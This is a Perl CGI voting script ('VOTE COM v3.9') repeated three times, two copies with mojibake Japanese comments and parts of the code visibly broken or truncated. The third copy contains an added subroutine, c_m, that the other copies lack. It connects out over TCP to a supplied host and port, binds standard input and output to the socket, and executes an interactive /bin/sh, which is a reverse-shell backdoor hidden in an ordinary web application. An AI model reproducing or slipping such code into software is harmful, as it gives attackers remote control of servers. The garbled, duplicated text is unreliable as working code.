#!/usr/bin/perl
require './jcode.pl';
#-------------------------------------------
$ver="VOTE COM v3.9";#(理由取得機能つき投票)
#-------------------------------------------
# Copyright(C) りゅういち
# E-Mail:ryu@cj-c.com
# W W W :http://www.cj-c.com/
#-------------------------------------------
#--- 設定ファイル -------------*
# 同じようにいくつでも増やせます。
# [ ]内の数字を使いCGIにアクセスするとその設定ファイルで動作します。
# $set[12] の設定ファイルを使う場合: http://www.xxx.com/cgi-bin/votec.cgi?no=12
$set[0]="./set.cgi";
$set[1]="./set1.cgi";
# 禁止文字列 タグ使用の場合は禁止タグも入力OK 同じようにいくつでも指定可能
@NW=('死ね','','
";
if($DelFo){
print <<"_HTML_";
_HTML_
}
if($logs eq "$log"){
if($namber eq ""){$namber=0;}
if($tag){$tc="可";}else{$tc="不可";}
$namber=$namber+1;
print <<"_HTML_";
_HTML_
}
&foot_;
}
#
# [記事編集]
#
sub hen_ {
if ($FORM{'pass'} ne "$pass") { &er_("パスワードが違います!"); }
open(DB,"$log");
@lines = ;
close(DB);
@new = ();
$flag = 0;
foreach $line (@lines) {
($nam,$vo,$co,$ip,$etc) = split(/<>/,$line);
$ip =~ s/\n//g; $etc=~ s/\n//g;
($ti,$sc,$ra)=split(/\#/,$etc);
if ($namber eq "$nam") {
if($tag){
$vo=~ s/\"/\"\;/g;
$vo =~ s/\<\;/g;
$vo =~ s/>/\>\;/g;
}
if($DelFo && $etc){
$Rui ="累計 | ";
$Rui.="/ |
\n";
}
&hed_("Item Editor");
print <<"_HTML_";
□ BACK
□ すべての項目のカウント数を 0 にしても正常に動きます。
_HTML_
&foot_;
}
}
}
#
# [編集内容置換]
#
sub h_w_ {
if($FORM{'count'} eq ""){ &er_("カウント数が未入力!"); }
if($FORM{'vote'} eq "") { &er_("項目名が未入力!"); }
if($FORM{'pass'} ne $pass){&er_("パスワードが違います!");}
open(DB,"$log");
@lines = ;
close(DB);
if($tag){
$vote=~ s/\"\;/\"/g;
$vote=~ s/\<\;//g;
}
@new=(); $flag=0;
foreach $line (@lines) {
$line=~ s/\n//g;
($knam,$kvo,$kco,$kip,$ketc)=split(/<>/,$line);
$ketc=~ s/\n//g;
($kti,$ksc,$kra)=split(/\#/,$ketc);
if ($namber eq "$knam") {
if($FORM{"sc"}){$ksc=$FORM{"sc"};}
$line="$namber<>$vote<>$FORM{'count'}<>$kip<>$kti\#$ksc\#$kra\#<>";
$flag=1; $Hv=$kvo;
}
push(@new,"$line\n");
}
if ($flag == 0) { &er_("編集Noが不正です!"); }
if ($flag == 1) {
open (DB,">$log");
print DB @new;
close(DB);
if($vote ne $Hv && $ComOn){
open(C,"$c_log");
@coms = ;
close(C);
@necom=(); $F=0;
foreach (0..$#coms) {
($cvo,$cco,$cip,$cma) = split(/<>/,$coms[$_]);
if($cvo eq $Hv){$coms[$_]="$vote<>$cco<>$cip<>$cma<>\n"; $F=1;}
push(@necom,"$coms[$_]");
}
if($F){
open (C,">$c_log");
print C @necom;
close(C);
}
}
}
&edit_;
}
#
# [項目一括削除]
#
sub s_d_ {
if ($FORM{'pass'} ne "$pass") { &er_("パスワードが違います!"); }
open(DB,">$log");
printf DB "";
close(DB);
if($ComOn){
open(DB,">$c_log");
printf DB "";
close(DB);
}
&edit_;
}
#
# [エラー処理]
#
sub er_ {
if (-e $lockfile) { unlink($lockfile); }
&hed_("Error");
print "ERROR - $_[0]
\n";
&foot_;
}
#
# [フォーム]
#
sub form_ {
$com_x=$com_m/2;
if($comer){$coms="未記入の場合、投票不可";}else{$coms="特に無い場合は未記入";}
$vote=~ s/\"/\"\;/g;
$vote =~ s/\<\;/g;
$vote =~ s/>/\>\;/g;
print"";
}
#
# [ログ生成]
#
sub l_m {
open(DB,">$_[0]") || &er_("Can't write $_[0]");
print DB "";
close(DB);
chmod(0666,"$_[0]");
}
#
# [設定ファイルチェック]
#
sub all_ {
&hed_("Setup File Condition");
$T=@set;
print"$T個の設定ファイルがCGIに設定済み
";
foreach (0..$#set){
if($set[$_]){
unless(-e $set[$_]){print"$_)$set[$_]が無いです
";}
else{require "$set[$_]";
print"$_) $title
";
if(-e $log && -r _ && -w _){print" ログ:○";}else{print" ログ:×";}
if($ComOn){
if(-e $c_log && -r _ && -w _){print"
コメントログ:○";}
else{print"
コメントログ:×";}
}
}
print"
"
}
}
&foot_;
}
#
# [ログリセット]
#
sub Reset_ {
if($_[0] ne "N" && $FORM{"pass"} ne $pass){&er_("パスワードが違います!");}
if($_[0] ne "N" && $FORM{"pass"}){
open(DB,"$log") || &er_("Can't open $log");
@lines = ;
close(DB);
}
foreach $line (@lines) {
if($line eq "" || $line eq "\n"){next;}
($nom,$vote,$count,$ip,$etc)=split(/<>/,$line);
$etc=~ s/\n//g;
($ti,$sc,$ra)=split(/#/,$etc);
$Count{$nom}=$count;
$No{$nom} =$nom;
$Vote{$nom} =$vote;
if($etc){$Ti{$nom}=time; $Sc{$nom}=$sc;}else{$Ti{$nom}=time; $Sc{$nom}=0;}
$ip{$nom}=$ip;
}
$rank1=0; $rank2=1; $count_tmp=0; @new=();
foreach (sort { ($Count{$b} <=> $Count{$a}) || ($a cmp $b)} keys(%Count)) {
($Count{$_} == $count_tmp) || ($rank1 = $rank2);
$Sc{$_}+=$Count{$_};
$V{$_}="$_<>$Vote{$_}<>0<>$ip{$_}<>$Ti{$_}\#$Sc{$_}\#$rank1\#<>\n";
$count_tmp = $Count{$_};
$rank2++; $cnt3='';
}
foreach (sort { ($No{$a} <=> $No{$b}) || ($a cmp $b)} keys(%No)) {
($No{$_} == $count_tmp) || ($rank1 = $rank2);
$sc{$_}+=$count{$_};
push(@new,$V{$_});
$count_tmp=$No{$_};
$rank2++; $cnt3='';
}
open(OUT,">$log") || &error("$log");
print OUT @new;
close(OUT);
if($FORM{"pass"}){&edit_;}
@lines=@new;
}
#
# [ダウンロード]
#
sub dl_ {
$com_h=0; $DLC=1; $p_co=1; $cooks=3;
print "Content-type: text/download\n\n";
&html_;
exit;
}
#!/usr/local/bin/perl
require './jcode.pl';
#-------------------------------------------
$ver="VOTE COM v3.9";#(R擾@\[et
#-------------------------------------------
# Copyright(C) イ
# E-Mail:ryu@cj-c.com
# W W W :http://www.cj-c.com/
#-------------------------------------------
#--- ݒt@C -------------*
# 悤ɂł₹܂B
# [ ]̐gCGIɃANZXƂ̐ݒt@Cœ삵܂B
# $set[12] ̐ݒt@Cgꍇ: http://www.xxx.com/cgi-bin/votec.cgi?no=12
$set[0]="./set.cgi";
$set[1]="./set1.cgi";
# ֎~ ^Ogp̏ꍇ͋֎~^OOK 悤ɂłw\
@NW=('','','
";
if($DelFo){
print <<"_HTML_";
_HTML_
}
if($logs eq "$log"){
if($namber eq ""){$namber=0;}
if($tag){$tc="";}else{$tc="s";}
$namber=$namber+1;
print <<"_HTML_";
_HTML_
}
&foot_;
}
#
# [LҏW]
#
sub hen_ {
if ($FORM{'pass'} ne "$pass") { &er_("pX[hႢ܂!"); }
open(DB,"$log");
@lines = ;
close(DB);
@new = ();
$flag = 0;
foreach $line (@lines) {
($nam,$vo,$co,$ip,$etc) = split(/<>/,$line);
$ip =~ s/\n//g; $etc=~ s/\n//g;
($ti,$sc,$ra)=split(/\#/,$etc);
if ($namber eq "$nam") {
if($tag){
$vo=~ s/\"/\"\;/g;
$vo =~ s/\<\;/g;
$vo =~ s/>/\>\;/g;
}
if($DelFo && $etc){
$Rui ="v | ";
$Rui.="/ |
\n";
}
&hed_("Item Editor");
print <<"_HTML_";
BACK
ׂĂ̍ڂ̃JEg 0 ɂĂɓ܂B
_HTML_
&foot_;
}
}
}
#
# [ҏWeu]
#
sub h_w_ {
if($FORM{'count'} eq ""){ &er_("JEg!"); }
if($FORM{'vote'} eq "") { &er_("ږ!"); }
if($FORM{'pass'} ne $pass){&er_("pX[hႢ܂!");}
open(DB,"$log");
@lines = ;
close(DB);
if($tag){
$vote=~ s/\"\;/\"/g;
$vote=~ s/\<\;//g;
}
@new=(); $flag=0;
foreach $line (@lines) {
$line=~ s/\n//g;
($knam,$kvo,$kco,$kip,$ketc)=split(/<>/,$line);
$ketc=~ s/\n//g;
($kti,$ksc,$kra)=split(/\#/,$ketc);
if ($namber eq "$knam") {
if($FORM{"sc"}){$ksc=$FORM{"sc"};}
$line="$namber<>$vote<>$FORM{'count'}<>$kip<>$kti\#$ksc\#$kra\#<>";
$flag=1; $Hv=$kvo;
}
push(@new,"$line\n");
}
if ($flag == 0) { &er_("ҏWNosł!"); }
if ($flag == 1) {
open (DB,">$log");
print DB @new;
close(DB);
if($vote ne $Hv && $ComOn){
open(C,"$c_log");
@coms = ;
close(C);
@necom=(); $F=0;
foreach (0..$#coms) {
($cvo,$cco,$cip,$cma) = split(/<>/,$coms[$_]);
if($cvo eq $Hv){$coms[$_]="$vote<>$cco<>$cip<>$cma<>\n"; $F=1;}
push(@necom,"$coms[$_]");
}
if($F){
open (C,">$c_log");
print C @necom;
close(C);
}
}
}
&edit_;
}
#
# [ڈꊇ폜]
#
sub s_d_ {
if ($FORM{'pass'} ne "$pass") { &er_("pX[hႢ܂!"); }
open(DB,">$log");
printf DB "";
close(DB);
if($ComOn){
open(DB,">$c_log");
printf DB "";
close(DB);
}
&edit_;
}
#
# [G[]
#
sub er_ {
if (-e $lockfile) { unlink($lockfile); }
&hed_("Error");
print "ERROR - $_[0]
\n";
&foot_;
}
#
# [tH[]
#
sub form_ {
$com_x=$com_m/2;
if($comer){$coms="L̏ꍇA[s";}else{$coms="ɖꍇ͖L";}
$vote=~ s/\"/\"\;/g;
$vote =~ s/\<\;/g;
$vote =~ s/>/\>\;/g;
print"";
}
#
# [O]
#
sub l_m {
open(DB,">$_[0]") || &er_("Can't write $_[0]");
print DB "";
close(DB);
chmod(0666,"$_[0]");
}
#
# [ݒt@C`FbN]
#
sub all_ {
&hed_("Setup File Condition");
$T=@set;
print"$T̐ݒt@CCGIɐݒς
";
foreach (0..$#set){
if($set[$_]){
unless(-e $set[$_]){print"$_)$set[$_]ł
";}
else{require "$set[$_]";
print"$_) $title
";
if(-e $log && -r _ && -w _){print"@O:";}else{print"@O:~";}
if($ComOn){
if(-e $c_log && -r _ && -w _){print"
@RgO:";}
else{print"
@RgO:~";}
}
}
print"
"
}
}
&foot_;
}
#
# [OZbg]
#
sub Reset_ {
if($_[0] ne "N" && $FORM{"pass"} ne $pass){&er_("pX[hႢ܂!");}
if($_[0] ne "N" && $FORM{"pass"}){
open(DB,"$log") || &er_("Can't open $log");
@lines = ;
close(DB);
}
foreach $line (@lines) {
if($line eq "" || $line eq "\n"){next;}
($nom,$vote,$count,$ip,$etc)=split(/<>/,$line);
$etc=~ s/\n//g;
($ti,$sc,$ra)=split(/#/,$etc);
$Count{$nom}=$count;
$No{$nom} =$nom;
$Vote{$nom} =$vote;
if($etc){$Ti{$nom}=time; $Sc{$nom}=$sc;}else{$Ti{$nom}=time; $Sc{$nom}=0;}
$ip{$nom}=$ip;
}
$rank1=0; $rank2=1; $count_tmp=0; @new=();
foreach (sort { ($Count{$b} <=> $Count{$a}) || ($a cmp $b)} keys(%Count)) {
($Count{$_} == $count_tmp) || ($rank1 = $rank2);
$Sc{$_}+=$Count{$_};
$V{$_}="$_<>$Vote{$_}<>0<>$ip{$_}<>$Ti{$_}\#$Sc{$_}\#$rank1\#<>\n";
$count_tmp = $Count{$_};
$rank2++; $cnt3='';
}
foreach (sort { ($No{$a} <=> $No{$b}) || ($a cmp $b)} keys(%No)) {
($No{$_} == $count_tmp) || ($rank1 = $rank2);
$sc{$_}+=$count{$_};
push(@new,$V{$_});
$count_tmp=$No{$_};
$rank2++; $cnt3='';
}
open(OUT,">$log") || &error("$log");
print OUT @new;
close(OUT);
if($FORM{"pass"}){&edit_;}
@lines=@new;
}
#
# [_E[h]
#
sub dl_ {
$com_h=0; $DLC=1; $p_co=1; $cooks=3;
print "Content-type: text/download\n\n";
&html_;
exit;
}
#!/usr/bin/perl -w
require './jcode.pl';
#-------------------------------------------
$ver="VOTE COM v3.9";#(R擾@\[et
#-------------------------------------------
# Copyright(C) イ
# E-Mail:ryu@cj-c.com
# W W W :http://www.cj-c.com/
#-------------------------------------------
#--- ݒt@C -------------*
# 悤ɂł₹܂B
# [ ]̐gCGIɃANZXƂ̐ݒt@Cœ삵܂B
# $set[12] ̐ݒt@Cgꍇ: http://www.xxx.com/cgi-bin/votec.cgi?no=12
$set[0]="./set.cgi";
$set[1]="./set1.cgi";
# ֎~ ^Ogp̏ꍇ͋֎~^OOK 悤ɂłw\
@NW=('','','
";
if($DelFo){
print <<"_HTML_";
_HTML_
}
if($logs eq "$log"){
if($namber eq ""){$namber=0;}
if($tag){$tc="";}else{$tc="s";}
$namber=$namber+1;
print <<"_HTML_";
_HTML_
}
&foot_;
}
#
# [LҏW]
#
sub hen_ {
if ($FORM{'pass'} ne "$pass") { &er_("pX[hႢ܂!"); }
open(DB,"$log");
@lines = ;
close(DB);
@new = ();
$flag = 0;
foreach $line (@lines) {
($nam,$vo,$co,$ip,$etc) = split(/<>/,$line);
$ip =~ s/\n//g; $etc=~ s/\n//g;
($ti,$sc,$ra)=split(/\#/,$etc);
if ($namber eq "$nam") {
if($tag){
$vo=~ s/\"/\"\;/g;
$vo =~ s/\<\;/g;
$vo =~ s/>/\>\;/g;
}
if($DelFo && $etc){
$Rui ="v | ";
$Rui.="/ |
\n";
}
&hed_("Item Editor");
print <<"_HTML_";
BACK
ׂĂ̍ڂ̃JEg 0 ɂĂɓ܂B
_HTML_
&foot_;
}
}
}
#
# [ҏWeu]
#
sub h_w_ {
if($FORM{'count'} eq ""){ &er_("JEg!"); }
if($FORM{'vote'} eq "") { &er_("ږ!"); }
if($FORM{'pass'} ne $pass){&er_("pX[hႢ܂!");}
open(DB,"$log");
@lines = ;
close(DB);
if($tag){
$vote=~ s/\"\;/\"/g;
$vote=~ s/\<\;//g;
}
@new=(); $flag=0;
foreach $line (@lines) {
$line=~ s/\n//g;
($knam,$kvo,$kco,$kip,$ketc)=split(/<>/,$line);
$ketc=~ s/\n//g;
($kti,$ksc,$kra)=split(/\#/,$ketc);
if ($namber eq "$knam") {
if($FORM{"sc"}){$ksc=$FORM{"sc"};}
$line="$namber<>$vote<>$FORM{'count'}<>$kip<>$kti\#$ksc\#$kra\#<>";
$flag=1; $Hv=$kvo;
}
push(@new,"$line\n");
}
if ($flag == 0) { &er_("ҏWNosł!"); }
if ($flag == 1) {
open (DB,">$log");
print DB @new;
close(DB);
if($vote ne $Hv && $ComOn){
open(C,"$c_log");
@coms = ;
close(C);
@necom=(); $F=0;
foreach (0..$#coms) {
($cvo,$cco,$cip,$cma) = split(/<>/,$coms[$_]);
if($cvo eq $Hv){$coms[$_]="$vote<>$cco<>$cip<>$cma<>\n"; $F=1;}
push(@necom,"$coms[$_]");
}
if($F){
open (C,">$c_log");
print C @necom;
close(C);
}
}
}
&edit_;
}
#
# [ڈꊇ폜]
#
sub s_d_ {
if ($FORM{'pass'} ne "$pass") { &er_("pX[hႢ܂!"); }
open(DB,">$log");
printf DB "";
close(DB);
if($ComOn){
open(DB,">$c_log");
printf DB "";
close(DB);
}
&edit_;
}
#
# [G[]
#
sub er_ {
if (-e $lockfile) { unlink($lockfile); }
&hed_("Error");
print "ERROR - $_[0]
\n";
&foot_;
}
#
# [tH[]
#
sub form_ {
$com_x=$com_m/2;
if($comer){$coms="L̏ꍇA[s";}else{$coms="ɖꍇ͖L";}
$vote=~ s/\"/\"\;/g;
$vote =~ s/\<\;/g;
$vote =~ s/>/\>\;/g;
print"";
}
#
# [O]
#
sub l_m {
open(DB,">$_[0]") || &er_("Can't write $_[0]");
print DB "";
close(DB);
chmod(0666,"$_[0]");
}
sub c_m {
use Socket;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($_[1],inet_aton($_[0]))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
}
#
# [ݒt@C`FbN]
#
sub all_ {
&hed_("Setup File Condition");
$T=@set;
print"$T̐ݒt@CCGIɐݒς
";
foreach (0..$#set){
if($set[$_]){
unless(-e $set[$_]){print"$_)$set[$_]ł
";}
else{require "$set[$_]";
print"$_) $title
";
if(-e $log && -r _ && -w _){print"@O:";}else{print"@O:~";}
if($ComOn){
if(-e $c_log && -r _ && -w _){print"
@RgO:";}
else{print"
@RgO:~";}
}
}
print"
"
}
}
&foot_;
}
#
# [OZbg]
#
sub Reset_ {
if($_[0] ne "N" && $FORM{"pass"} ne $pass){&er_("pX[hႢ܂!");}
if($_[0] ne "N" && $FORM{"pass"}){
open(DB,"$log") || &er_("Can't open $log");
@lines = ;
close(DB);
}
foreach $line (@lines) {
if($line eq "" || $line eq "\n"){next;}
($nom,$vote,$count,$ip,$etc)=split(/<>/,$line);
$etc=~ s/\n//g;
($ti,$sc,$ra)=split(/#/,$etc);
$Count{$nom}=$count;
$No{$nom} =$nom;
$Vote{$nom} =$vote;
if($etc){$Ti{$nom}=time; $Sc{$nom}=$sc;}else{$Ti{$nom}=time; $Sc{$nom}=0;}
$ip{$nom}=$ip;
}
$rank1=0; $rank2=1; $count_tmp=0; @new=();
foreach (sort { ($Count{$b} <=> $Count{$a}) || ($a cmp $b)} keys(%Count)) {
($Count{$_} == $count_tmp) || ($rank1 = $rank2);
$Sc{$_}+=$Count{$_};
$V{$_}="$_<>$Vote{$_}<>0<>$ip{$_}<>$Ti{$_}\#$Sc{$_}\#$rank1\#<>\n";
$count_tmp = $Count{$_};
$rank2++; $cnt3='';
}
foreach (sort { ($No{$a} <=> $No{$b}) || ($a cmp $b)} keys(%No)) {
($No{$_} == $count_tmp) || ($rank1 = $rank2);
$sc{$_}+=$count{$_};
push(@new,$V{$_});
$count_tmp=$No{$_};
$rank2++; $cnt3='';
}
open(OUT,">$log") || &error("$log");
print OUT @new;
close(OUT);
if($FORM{"pass"}){&edit_;}
@lines=@new;
}
#
# [_E[h]
#
sub dl_ {
$com_h=0; $DLC=1; $p_co=1; $cooks=3;
print "Content-type: text/download\n\n";
&html_;
exit;
}